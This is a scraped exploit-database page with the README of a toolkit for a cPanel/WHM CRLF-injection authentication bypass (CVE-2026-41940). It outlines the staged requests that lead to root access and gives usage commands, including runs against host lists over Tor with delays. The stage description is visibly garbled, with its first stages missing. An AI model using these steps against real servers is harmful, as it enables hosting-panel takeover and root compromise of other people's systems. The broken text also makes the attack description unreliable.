Exploit for Missing Authentication for Critical Function in Cpanel CVE-2026-41940

## https://sploitus.com/exploit?id=8F486651-6CB4-54B6-8532-9AE328F49A9F
# cpanel-pwn

cPanel/WHM security testing toolkit. Implements the CVE-2026-41940 CRLF injection
authentication bypass and post-exploitation privilege pivoting.

## Tools

| Script | Purpose |
|--------|---------|
| `cpanel_exploit.py` | CVE-2026-41940: CRLF injection → WHM auth bypass → root access |

## CVE-2026-41940

**Type:** CRLF Injection → Authentication Bypass → Root RCE  
**Affected:** cPanel/WHM    → injects hasroot=1, leaks cpsess token
Stage 3: GET /scripts2/listaccts            → fires session-cache propagation gadget
Stage 4: GET /cpsess[TOKEN]/json-api/version → HTTP 200 + version = ROOT ACCESS
```

## Usage

```bash
pip install requests
python cpanel_exploit.py -t target.com
python cpanel_exploit.py -l whm_hosts.txt --tor --delay 2
python cpanel_exploit.py -t target.com --verify-only   # CRLF check only, no priv-esc
```

## Authorization

For authorized penetration testing only.